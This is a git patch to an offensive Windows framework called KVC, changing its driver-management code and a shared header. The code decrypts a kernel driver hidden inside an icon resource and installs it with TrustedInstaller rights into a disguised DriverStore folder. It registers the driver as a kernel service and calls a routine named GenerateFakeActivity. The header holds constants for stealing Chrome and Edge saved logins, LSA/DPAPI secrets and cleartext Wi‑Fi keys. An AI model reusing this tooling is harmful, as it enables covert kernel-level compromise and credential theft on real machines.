From dc2a1f0717526ae508befeb927ed17795ecac163 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marek=20Weso=C5=82owski?= <61203372+wesmar@users.noreply.github.com> Date: Thu, 18 Sep 2025 16:04:26 +0200 Subject: [PATCH] Fixed Windows 10 driver creation --- kvc/ControllerDriverManager.cpp | 723 ++++++++++++++++---------------- kvc/common.h | 469 +++++++++++---------- 2 files changed, 611 insertions(+), 581 deletions(-) diff --git a/kvc/ControllerDriverManager.cpp b/kvc/ControllerDriverManager.cpp index ad241a1..8e88260 100644 --- a/kvc/ControllerDriverManager.cpp +++ b/kvc/ControllerDriverManager.cpp @@ -1,369 +1,356 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek WesoĊ‚owski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - -// ControllerDriverManager.cpp -#include "Controller.h" -#include "common.h" -#include "Utils.h" -#include "resource.h" -#include - -namespace fs = std::filesystem; - -// Driver service lifecycle management -bool Controller::StopDriverService() noexcept { - DEBUG(L"StopDriverService called"); - - if (!InitDynamicAPIs()) { - DEBUG(L"InitDynamicAPIs failed in StopDriverService"); - return false; - } - - SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); - if (!hSCM) { - DEBUG(L"OpenSCManagerW failed: %d", GetLastError()); - return false; - } - - SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS); - if (!hService) { - DWORD err = GetLastError(); - CloseServiceHandle(hSCM); - - if (err == ERROR_SERVICE_DOES_NOT_EXIST) { - DEBUG(L"Service does not exist - considered stopped"); - return true; - } - - DEBUG(L"OpenServiceW failed: %d", err); - return false; - } - - SERVICE_STATUS status; - if (QueryServiceStatus(hService, &status)) { - if (status.dwCurrentState == SERVICE_STOPPED) { - DEBUG(L"Service already stopped"); - CloseServiceHandle(hService); - CloseServiceHandle(hSCM); - return true; - } - } - - SERVICE_STATUS stopStatus; - BOOL success = g_pControlService(hService, SERVICE_CONTROL_STOP, &stopStatus); - DWORD err = GetLastError(); - - CloseServiceHandle(hService); - CloseServiceHandle(hSCM); - - DEBUG(L"ControlService result: %d, error: %d", success, err); - - return success || err == ERROR_SERVICE_NOT_ACTIVE; -} - -// Extract driver from steganographic icon resource -std::vector Controller::ExtractEncryptedDriver() noexcept { - auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA); - if (iconData.size() <= 9662) { - ERROR(L"Icon resource too small or corrupted - steganographic driver missing"); - return {}; - } - // Skip first 9662 bytes (actual icon data) to get embedded driver - return std::vector(iconData.begin() + 9662, iconData.end()); -} - -// Decrypt embedded driver using XOR cipher -// Decrypt embedded driver using XOR cipher -std::vector Controller::DecryptDriver(const std::vector& encryptedData) noexcept { - if (encryptedData.empty()) { - ERROR(L"No encrypted driver data provided"); - return {}; - } - - constexpr std::array key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C }; - std::vector decryptedData = encryptedData; - - // Simple XOR decryption with repeating key - for (size_t i = 0; i < decryptedData.size(); ++i) { - decryptedData[i] ^= key[i % key.size()]; // Use 'key' instead of 'decryptionKey' - } - - return decryptedData; -} - -// Silent driver installation with TrustedInstaller privileges -bool Controller::InstallDriverSilently() noexcept { - auto encryptedData = ExtractEncryptedDriver(); - if (encryptedData.empty()) return false; - - auto driverData = DecryptDriver(encryptedData); - if (driverData.empty()) return false; - - fs::path tempDir = GetSystemTempPath(); // Use system temp instead of user temp - fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName()); - - if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) return false; - - fs::path driverDir = GetDriverStorePath(); - fs::path driverPath = driverDir / fs::path(GetDriverFileName()); - - // Copy with system privileges - std::wstring copyCommand = L"cmd.exe /c copy /Y \"" + tempDriverPath.wstring() + L"\" \"" + driverPath.wstring() + L"\""; - if (!RunAsTrustedInstallerSilent(copyCommand)) { - DeleteFileW(tempDriverPath.c_str()); - return false; - } - - DeleteFileW(tempDriverPath.c_str()); - - // REGISTER THE SERVICE WITH CORRECT PRIVILEGES - return RegisterDriverServiceSilent(driverPath.wstring()); -} - -bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept { - if (!InitDynamicAPIs()) return false; - GenerateFakeActivity(); - - SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); - if (!hSCM) return false; - - SC_HANDLE hService = g_pCreateServiceW( - hSCM, - GetServiceName().c_str(), - L"Kernel Driver Service", - SERVICE_ALL_ACCESS, - SERVICE_KERNEL_DRIVER, // KEY CHANGE: type = kernel - SERVICE_DEMAND_START, // start = demand (can be changed to auto) - SERVICE_ERROR_NORMAL, - driverPath.c_str(), - nullptr, nullptr, nullptr, nullptr, nullptr - ); - - bool success = (hService != nullptr) || (GetLastError() == ERROR_SERVICE_EXISTS); - - if (hService) CloseServiceHandle(hService); - CloseServiceHandle(hSCM); - return success; -} - -bool Controller::StartDriverServiceSilent() noexcept { - if (!InitDynamicAPIs()) return false; - GenerateFakeActivity(); - - SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); - if (!hSCM) return false; - - SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS); - if (!hService) { - CloseServiceHandle(hSCM); - return false; - } - - SERVICE_STATUS status; - bool success = true; - - if (QueryServiceStatus(hService, &status)) { - if (status.dwCurrentState != SERVICE_RUNNING) { - success = g_pStartServiceW(hService, 0, nullptr) || (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING); - } - } - - CloseServiceHandle(hService); - CloseServiceHandle(hSCM); - return success; -} - -// Legacy driver installation with enhanced error handling -bool Controller::InstallDriver() noexcept { - auto encryptedData = ExtractEncryptedDriver(); - if (encryptedData.empty()) { - ERROR(L"Failed to extract encrypted driver from icon resource"); - return false; - } - - auto driverData = DecryptDriver(encryptedData); - if (driverData.empty()) { - ERROR(L"Failed to decrypt embedded driver data"); - return false; - } - - fs::path tempDir = fs::temp_directory_path(); - fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName()); - - if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) { - ERROR(L"Failed to write driver file to temp location: %s", tempDriverPath.c_str()); - return false; - } - - fs::path driverDir = GetDriverStorePath(); - fs::path driverPath = driverDir / fs::path(GetDriverFileName()); - - std::error_code ec; - fs::create_directories(driverDir, ec); - if (ec) { - INFO(L"Directory creation failed (may already exist)"); - } - - std::wstring copyCommand = L"cmd.exe /c copy /Y " + tempDriverPath.wstring() + L" " + driverPath.wstring(); - INFO(L"Copying driver with elevated privileges: %s", copyCommand.c_str()); - - if (!RunAsTrustedInstaller(copyCommand)) { - ERROR(L"Failed to copy driver to system directory with elevated privileges"); - DeleteFileW(tempDriverPath.c_str()); - return false; - } - - if (!fs::exists(driverPath)) { - ERROR(L"Driver file was not copied successfully to: %s", driverPath.c_str()); - DeleteFileW(tempDriverPath.c_str()); - return false; - } - - SUCCESS(L"Driver file successfully copied to: %s", driverPath.c_str()); - DeleteFileW(tempDriverPath.c_str()); - - if (!InitDynamicAPIs()) return false; - GenerateFakeActivity(); - - SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); - if (!hSCM) { - ERROR(L"Failed to open service control manager: %d", GetLastError()); - return false; - } - - SC_HANDLE hService = g_pCreateServiceW( - hSCM, GetServiceName().c_str(), L"Memory Access Driver", - SERVICE_ALL_ACCESS, - SERVICE_KERNEL_DRIVER, // KEY CHANGE - SERVICE_DEMAND_START, // start= demand - SERVICE_ERROR_NORMAL, driverPath.c_str(), - nullptr, nullptr, nullptr, nullptr, nullptr - ); - - if (!hService) { - DWORD err = GetLastError(); - CloseServiceHandle(hSCM); - - if (err != ERROR_SERVICE_EXISTS) { - ERROR(L"Failed to create driver service: %d", err); - return false; - } - - INFO(L"Driver service already exists, proceeding"); - } else { - CloseServiceHandle(hService); - SUCCESS(L"Driver service created successfully"); - } - - CloseServiceHandle(hSCM); - SUCCESS(L"Driver installed and registered as Windows service"); - return true; -} - -bool Controller::UninstallDriver() noexcept { - StopDriverService(); - - if (!InitDynamicAPIs()) return true; - - SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); - if (!hSCM) { - return true; - } - - std::wstring serviceName = GetServiceName(); - SC_HANDLE hService = g_pOpenServiceW(hSCM, serviceName.c_str(), DELETE); - if (!hService) { - CloseServiceHandle(hSCM); - return true; - } - - BOOL success = g_pDeleteService(hService); - CloseServiceHandle(hService); - CloseServiceHandle(hSCM); - - if (!success) { - DWORD err = GetLastError(); - if (err != ERROR_SERVICE_MARKED_FOR_DELETE) { - ERROR(L"Failed to delete driver service: %d", err); - return false; - } - } - - // Clean up driver file - fs::path driverDir = GetDriverStorePath(); - fs::path driverPath = driverDir / fs::path(GetDriverFileName()); - - std::error_code ec; - if (!fs::remove(driverPath, ec)) { - if (ec.value() != ERROR_FILE_NOT_FOUND) { - std::wstring delCommand = L"cmd.exe /c del /Q \"" + driverPath.wstring() + L"\""; - RunAsTrustedInstallerSilent(delCommand); - } - } - - return true; -} - -bool Controller::StartDriverService() noexcept { - if (!InitDynamicAPIs()) return false; - GenerateFakeActivity(); - - SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); - if (!hSCM) { - ERROR(L"Failed to open service control manager: %d", GetLastError()); - return false; - } - - SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS); - if (!hService) { - CloseServiceHandle(hSCM); - ERROR(L"Failed to open kernel driver service: %d", GetLastError()); - return false; - } - - SERVICE_STATUS status; - if (QueryServiceStatus(hService, &status)) { - if (status.dwCurrentState == SERVICE_RUNNING) { - CloseServiceHandle(hService); - CloseServiceHandle(hSCM); - INFO(L"Kernel driver service already running"); - return true; - } - } - - BOOL success = g_pStartServiceW(hService, 0, nullptr); - DWORD err = GetLastError(); - - CloseServiceHandle(hService); - CloseServiceHandle(hSCM); - - if (!success && err != ERROR_SERVICE_ALREADY_RUNNING) { - ERROR(L"Failed to start kernel driver service: %d", err); - return false; - } - - SUCCESS(L"Kernel driver service started successfully"); - return true; +// ControllerDriverManager.cpp +#include "Controller.h" +#include "common.h" +#include "Utils.h" +#include "resource.h" +#include + +namespace fs = std::filesystem; + +// Driver service lifecycle management +bool Controller::StopDriverService() noexcept { + DEBUG(L"StopDriverService called"); + + if (!InitDynamicAPIs()) { + DEBUG(L"InitDynamicAPIs failed in StopDriverService"); + return false; + } + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!hSCM) { + DEBUG(L"OpenSCManagerW failed: %d", GetLastError()); + return false; + } + + SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_STOP | SERVICE_QUERY_STATUS); + if (!hService) { + DWORD err = GetLastError(); + CloseServiceHandle(hSCM); + + if (err == ERROR_SERVICE_DOES_NOT_EXIST) { + DEBUG(L"Service does not exist - considered stopped"); + return true; + } + + DEBUG(L"OpenServiceW failed: %d", err); + return false; + } + + SERVICE_STATUS status; + if (QueryServiceStatus(hService, &status)) { + if (status.dwCurrentState == SERVICE_STOPPED) { + DEBUG(L"Service already stopped"); + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return true; + } + } + + SERVICE_STATUS stopStatus; + BOOL success = g_pControlService(hService, SERVICE_CONTROL_STOP, &stopStatus); + DWORD err = GetLastError(); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + DEBUG(L"ControlService result: %d, error: %d", success, err); + + return success || err == ERROR_SERVICE_NOT_ACTIVE; +} + +// Extract driver from steganographic icon resource +std::vector Controller::ExtractEncryptedDriver() noexcept { + auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA); + if (iconData.size() <= 9662) { + ERROR(L"Icon resource too small or corrupted - steganographic driver missing"); + return {}; + } + // Skip first 9662 bytes (actual icon data) to get embedded driver + return std::vector(iconData.begin() + 9662, iconData.end()); +} + +// Decrypt embedded driver using XOR cipher +// Decrypt embedded driver using XOR cipher +std::vector Controller::DecryptDriver(const std::vector& encryptedData) noexcept { + if (encryptedData.empty()) { + ERROR(L"No encrypted driver data provided"); + return {}; + } + + constexpr std::array key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C }; + std::vector decryptedData = encryptedData; + + // Simple XOR decryption with repeating key + for (size_t i = 0; i < decryptedData.size(); ++i) { + decryptedData[i] ^= key[i % key.size()]; // Use 'key' instead of 'decryptionKey' + } + + return decryptedData; +} + +// Silent driver installation with TrustedInstaller privileges +bool Controller::InstallDriverSilently() noexcept { + auto encryptedData = ExtractEncryptedDriver(); + if (encryptedData.empty()) return false; + + auto driverData = DecryptDriver(encryptedData); + if (driverData.empty()) return false; + + fs::path tempDir = GetSystemTempPath(); + fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName()); + + if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) return false; + + fs::path driverDir = GetDriverStorePath(); + + // Ensure target directory exists with TrustedInstaller privileges + DWORD attrs = GetFileAttributesW(driverDir.c_str()); + if (attrs == INVALID_FILE_ATTRIBUTES) { + // Directory doesn't exist - create it with TrustedInstaller rights + std::wstring createDirCommand = L"cmd.exe /c mkdir \"" + driverDir.wstring() + L"\""; + if (!RunAsTrustedInstallerSilent(createDirCommand)) { + DeleteFileW(tempDriverPath.c_str()); + ERROR(L"Failed to create driver directory with TrustedInstaller privileges"); + return false; + } + } + + fs::path driverPath = driverDir / fs::path(GetDriverFileName()); + + // Copy with system privileges + std::wstring copyCommand = L"cmd.exe /c copy /Y \"" + tempDriverPath.wstring() + L"\" \"" + driverPath.wstring() + L"\""; + if (!RunAsTrustedInstallerSilent(copyCommand)) { + DeleteFileW(tempDriverPath.c_str()); + return false; + } + + DeleteFileW(tempDriverPath.c_str()); + + return RegisterDriverServiceSilent(driverPath.wstring()); +} + +bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept { + if (!InitDynamicAPIs()) return false; + GenerateFakeActivity(); + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) return false; + + SC_HANDLE hService = g_pCreateServiceW( + hSCM, + GetServiceName().c_str(), + L"Kernel Driver Service", + SERVICE_ALL_ACCESS, + SERVICE_KERNEL_DRIVER, // KEY CHANGE: type = kernel + SERVICE_DEMAND_START, // start = demand (can be changed to auto) + SERVICE_ERROR_NORMAL, + driverPath.c_str(), + nullptr, nullptr, nullptr, nullptr, nullptr + ); + + bool success = (hService != nullptr) || (GetLastError() == ERROR_SERVICE_EXISTS); + + if (hService) CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return success; +} + +bool Controller::StartDriverServiceSilent() noexcept { + if (!InitDynamicAPIs()) return false; + GenerateFakeActivity(); + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) return false; + + SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS); + if (!hService) { + CloseServiceHandle(hSCM); + return false; + } + + SERVICE_STATUS status; + bool success = true; + + if (QueryServiceStatus(hService, &status)) { + if (status.dwCurrentState != SERVICE_RUNNING) { + success = g_pStartServiceW(hService, 0, nullptr) || (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING); + } + } + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return success; +} + +// Legacy driver installation with enhanced error handling +bool Controller::InstallDriver() noexcept { + auto encryptedData = ExtractEncryptedDriver(); + if (encryptedData.empty()) { + ERROR(L"Failed to extract encrypted driver from icon resource"); + return false; + } + + auto driverData = DecryptDriver(encryptedData); + if (driverData.empty()) { + ERROR(L"Failed to decrypt embedded driver data"); + return false; + } + + fs::path tempDir = fs::temp_directory_path(); + fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName()); + + if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) { + ERROR(L"Failed to write driver file to temp location: %s", tempDriverPath.c_str()); + return false; + } + + fs::path driverDir = GetDriverStorePath(); + fs::path driverPath = driverDir / fs::path(GetDriverFileName()); + + std::error_code ec; + fs::create_directories(driverDir, ec); + if (ec) { + INFO(L"Directory creation failed (may already exist)"); + } + + std::wstring copyCommand = L"cmd.exe /c copy /Y " + tempDriverPath.wstring() + L" " + driverPath.wstring(); + INFO(L"Copying driver with elevated privileges: %s", copyCommand.c_str()); + + if (!RunAsTrustedInstaller(copyCommand)) { + ERROR(L"Failed to copy driver to system directory with elevated privileges"); + DeleteFileW(tempDriverPath.c_str()); + return false; + } + + if (!fs::exists(driverPath)) { + ERROR(L"Driver file was not copied successfully to: %s", driverPath.c_str()); + DeleteFileW(tempDriverPath.c_str()); + return false; + } + + SUCCESS(L"Driver file successfully copied to: %s", driverPath.c_str()); + DeleteFileW(tempDriverPath.c_str()); + + if (!InitDynamicAPIs()) return false; + GenerateFakeActivity(); + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) { + ERROR(L"Failed to open service control manager: %d", GetLastError()); + return false; + } + + SC_HANDLE hService = g_pCreateServiceW( + hSCM, GetServiceName().c_str(), L"Memory Access Driver", + SERVICE_ALL_ACCESS, + SERVICE_KERNEL_DRIVER, // KEY CHANGE + SERVICE_DEMAND_START, // start= demand + SERVICE_ERROR_NORMAL, driverPath.c_str(), + nullptr, nullptr, nullptr, nullptr, nullptr + ); + + if (!hService) { + DWORD err = GetLastError(); + CloseServiceHandle(hSCM); + + if (err != ERROR_SERVICE_EXISTS) { + ERROR(L"Failed to create driver service: %d", err); + return false; + } + + INFO(L"Driver service already exists, proceeding"); + } else { + CloseServiceHandle(hService); + SUCCESS(L"Driver service created successfully"); + } + + CloseServiceHandle(hSCM); + SUCCESS(L"Driver installed and registered as Windows service"); + return true; +} + +bool Controller::UninstallDriver() noexcept { + StopDriverService(); + + if (!InitDynamicAPIs()) return true; + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) { + return true; + } + + std::wstring serviceName = GetServiceName(); + SC_HANDLE hService = g_pOpenServiceW(hSCM, serviceName.c_str(), DELETE); + if (!hService) { + CloseServiceHandle(hSCM); + return true; + } + + BOOL success = g_pDeleteService(hService); + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + if (!success) { + DWORD err = GetLastError(); + if (err != ERROR_SERVICE_MARKED_FOR_DELETE) { + ERROR(L"Failed to delete driver service: %d", err); + return false; + } + } + + // Clean up driver file + fs::path driverDir = GetDriverStorePath(); + fs::path driverPath = driverDir / fs::path(GetDriverFileName()); + + std::error_code ec; + if (!fs::remove(driverPath, ec)) { + if (ec.value() != ERROR_FILE_NOT_FOUND) { + std::wstring delCommand = L"cmd.exe /c del /Q \"" + driverPath.wstring() + L"\""; + RunAsTrustedInstallerSilent(delCommand); + } + } + + return true; +} + +bool Controller::StartDriverService() noexcept { + if (!InitDynamicAPIs()) return false; + GenerateFakeActivity(); + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!hSCM) { + ERROR(L"Failed to open service control manager: %d", GetLastError()); + return false; + } + + SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS); + if (!hService) { + CloseServiceHandle(hSCM); + ERROR(L"Failed to open kernel driver service: %d", GetLastError()); + return false; + } + + SERVICE_STATUS status; + if (QueryServiceStatus(hService, &status)) { + if (status.dwCurrentState == SERVICE_RUNNING) { + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + INFO(L"Kernel driver service already running"); + return true; + } + } + + BOOL success = g_pStartServiceW(hService, 0, nullptr); + DWORD err = GetLastError(); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + if (!success && err != ERROR_SERVICE_ALREADY_RUNNING) { + ERROR(L"Failed to start kernel driver service: %d", err); + return false; + } + + SUCCESS(L"Kernel driver service started successfully"); + return true; } \ No newline at end of file diff --git a/kvc/common.h b/kvc/common.h index 4e2b424..8aa6cfa 100644 --- a/kvc/common.h +++ b/kvc/common.h @@ -1,213 +1,256 @@ -#pragma once - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#ifdef BUILD_DATE - #define __DATE__ BUILD_DATE -#endif - -#ifdef BUILD_TIME - #define __TIME__ BUILD_TIME -#endif - -#define kvc_DEBUG_ENABLED 0 - -#ifdef ERROR -#undef ERROR -#endif - -// Smart module handle management -struct ModuleDeleter { - void operator()(HMODULE mod) const noexcept { - if (mod) { - FreeLibrary(mod); - } - } -}; - -struct SystemModuleDeleter { - void operator()(HMODULE) const noexcept { - // System modules obtained via GetModuleHandle don't need to be freed - } -}; - -using ModuleHandle = std::unique_ptr, ModuleDeleter>; -using SystemModuleHandle = std::unique_ptr, SystemModuleDeleter>; - -// Logging system with message formatting -template -void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args) -{ - std::wstringstream ss; - ss << prefix; - - if constexpr (sizeof...(args) == 0) - { - ss << format; - } - else - { - wchar_t buffer[1024]; - swprintf_s(buffer, format, std::forward(args)...); - ss << buffer; - } - - ss << L"\r\n"; - std::wcout << ss.str(); -} - -#if kvc_DEBUG_ENABLED - #define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, __VA_ARGS__) -#else - #define DEBUG(format, ...) do {} while(0) -#endif - -#define ERROR(format, ...) PrintMessage(L"[-] ", format, __VA_ARGS__) -#define INFO(format, ...) PrintMessage(L"[*] ", format, __VA_ARGS__) -#define SUCCESS(format, ...) PrintMessage(L"[+] ", format, __VA_ARGS__) - -#define LASTERROR(f) \ - do { \ - wchar_t buf[256]; \ - swprintf_s(buf, L"[-] The function '%s' failed with error code 0x%08x.\r\n", L##f, GetLastError()); \ - std::wcout << buf; \ - } while(0) - -// Windows protection type definitions -enum class PS_PROTECTED_TYPE : UCHAR -{ - None = 0, - ProtectedLight = 1, - Protected = 2 -}; - -enum class PS_PROTECTED_SIGNER : UCHAR -{ - None = 0, - Authenticode = 1, - CodeGen = 2, - Antimalware = 3, - Lsa = 4, - Windows = 5, - WinTcb = 6, - WinSystem = 7, - App = 8, - Max = 9 -}; - -// Service-related constants -namespace ServiceConstants { - constexpr const wchar_t* SERVICE_NAME = L"KernelVulnerabilityControl"; - constexpr const wchar_t* SERVICE_DISPLAY_NAME = L"Kernel Vulnerability Capabilities Framework"; - constexpr const wchar_t* SERVICE_PARAM = L"--service"; - - // Keyboard hook settings - constexpr int CTRL_SEQUENCE_LENGTH = 5; - constexpr DWORD CTRL_SEQUENCE_TIMEOUT_MS = 2000; - constexpr DWORD CTRL_DEBOUNCE_MS = 50; -} - -// DPAPI constants for password extraction -namespace DPAPIConstants { - constexpr int SQLITE_OK = 0; - constexpr int SQLITE_ROW = 100; - constexpr int SQLITE_DONE = 101; - constexpr int SQLITE_OPEN_READONLY = 0x00000001; - - inline std::string GetChromeV10Prefix() { return "v10"; } - inline std::string GetChromeDPAPIPrefix() { return "DPAPI"; } - - inline std::wstring GetSecurityPolicySecrets() { return L"SECURITY\\Policy\\Secrets"; } - inline std::wstring GetDPAPISystemKey() { return L"DPAPI_SYSTEM"; } - inline std::wstring GetNLKMKey() { return L"NL$KM"; } - inline std::wstring GetDefaultPasswordKey() { return L"DefaultPassword"; } - - inline std::wstring GetCurrVal() { return L"CurrVal"; } - inline std::wstring GetOldVal() { return L"OldVal"; } - - inline std::wstring GetChromeUserData() { return L"\\Google\\Chrome\\User Data"; } - inline std::wstring GetEdgeUserData() { return L"\\Microsoft\\Edge\\User Data"; } - inline std::wstring GetLocalStateFile() { return L"\\Local State"; } - inline std::wstring GetLoginDataFile() { return L"\\Login Data"; } - - inline std::string GetEncryptedKeyField() { return "\"encrypted_key\":"; } - - inline std::string GetLocalAppData() { return "LOCALAPPDATA"; } - - inline std::wstring GetHTMLExt() { return L".html"; } - inline std::wstring GetTXTExt() { return L".txt"; } - inline std::wstring GetDBExt() { return L".db"; } - - inline std::wstring GetTempLoginDB() { return L"temp_login_data.db"; } - inline std::wstring GetTempPattern() { return L"temp_login_data"; } - - inline std::string GetNetshShowProfiles() { return "netsh wlan show profiles"; } - inline std::string GetNetshShowProfileKey() { return "netsh wlan show profile name=\""; } - inline std::string GetNetshKeyClear() { return "\" key=clear"; } - - inline std::string GetWiFiProfileMarker() { return "All User Profile"; } - inline std::string GetWiFiKeyContent() { return "Key Content"; } - - inline std::string GetLoginQuery() { return "SELECT origin_url, username_value, password_value FROM logins"; } - - inline std::wstring GetStatusDecrypted() { return L"DECRYPTED"; } - inline std::wstring GetStatusClearText() { return L"CLEAR_TEXT"; } - inline std::wstring GetStatusEncrypted() { return L"ENCRYPTED"; } - inline std::wstring GetStatusFailed() { return L"FAILED"; } - inline std::wstring GetStatusExtracted() { return L"EXTRACTED"; } -} - -// Dynamic API loading globals for driver operations -extern ModuleHandle g_advapi32; -extern SystemModuleHandle g_kernel32; -extern decltype(&CreateServiceW) g_pCreateServiceW; -extern decltype(&OpenServiceW) g_pOpenServiceW; -extern decltype(&StartServiceW) g_pStartServiceW; -extern decltype(&DeleteService) g_pDeleteService; -extern decltype(&CreateFileW) g_pCreateFileW; -extern decltype(&ControlService) g_pControlService; - -// Service mode detection -extern bool g_serviceMode; -extern volatile bool g_interrupted; - -// Core driver functions -bool InitDynamicAPIs() noexcept; -std::wstring GetServiceName() noexcept; -std::wstring GetDriverFileName() noexcept; -void GenerateFakeActivity() noexcept; -std::wstring GetSystemTempPath() noexcept; - -// Service utility functions -bool IsServiceInstalled() noexcept; -bool IsServiceRunning() noexcept; -std::wstring GetCurrentExecutablePath() noexcept; - -// Driver path helper -inline std::wstring GetDriverStorePath() noexcept { - wchar_t windowsDir[MAX_PATH]; - if (GetWindowsDirectoryW(windowsDir, MAX_PATH) == 0) { - wcscpy_s(windowsDir, L"C:\\Windows"); - } - std::wstring result = windowsDir; - return result + L"\\System32\\DriverStore\\FileRepository\\avc.inf_amd64_12ca23d60da30d59"; -} - -// KVC combined binary processing constants -constexpr std::array KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C }; -constexpr wchar_t KVC_DATA_FILE[] = L"kvc.dat"; -constexpr wchar_t KVC_PASS_FILE[] = L"kvc_pass.exe"; -constexpr wchar_t KVC_CRYPT_FILE[] = L"kvc_crypt.dll"; +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef BUILD_DATE + #define __DATE__ BUILD_DATE +#endif + +#ifdef BUILD_TIME + #define __TIME__ BUILD_TIME +#endif + +#define kvc_DEBUG_ENABLED 0 + +#ifdef ERROR +#undef ERROR +#endif + +// Smart module handle management +struct ModuleDeleter { + void operator()(HMODULE mod) const noexcept { + if (mod) { + FreeLibrary(mod); + } + } +}; + +struct SystemModuleDeleter { + void operator()(HMODULE) const noexcept { + // System modules obtained via GetModuleHandle don't need to be freed + } +}; + +using ModuleHandle = std::unique_ptr, ModuleDeleter>; +using SystemModuleHandle = std::unique_ptr, SystemModuleDeleter>; + +// Logging system with message formatting +template +void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args) +{ + std::wstringstream ss; + ss << prefix; + + if constexpr (sizeof...(args) == 0) + { + ss << format; + } + else + { + wchar_t buffer[1024]; + swprintf_s(buffer, format, std::forward(args)...); + ss << buffer; + } + + ss << L"\r\n"; + std::wcout << ss.str(); +} + +#if kvc_DEBUG_ENABLED + #define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, __VA_ARGS__) +#else + #define DEBUG(format, ...) do {} while(0) +#endif + +#define ERROR(format, ...) PrintMessage(L"[-] ", format, __VA_ARGS__) +#define INFO(format, ...) PrintMessage(L"[*] ", format, __VA_ARGS__) +#define SUCCESS(format, ...) PrintMessage(L"[+] ", format, __VA_ARGS__) + +#define LASTERROR(f) \ + do { \ + wchar_t buf[256]; \ + swprintf_s(buf, L"[-] The function '%s' failed with error code 0x%08x.\r\n", L##f, GetLastError()); \ + std::wcout << buf; \ + } while(0) + +// Windows protection type definitions +enum class PS_PROTECTED_TYPE : UCHAR +{ + None = 0, + ProtectedLight = 1, + Protected = 2 +}; + +enum class PS_PROTECTED_SIGNER : UCHAR +{ + None = 0, + Authenticode = 1, + CodeGen = 2, + Antimalware = 3, + Lsa = 4, + Windows = 5, + WinTcb = 6, + WinSystem = 7, + App = 8, + Max = 9 +}; + +// Service-related constants +namespace ServiceConstants { + constexpr const wchar_t* SERVICE_NAME = 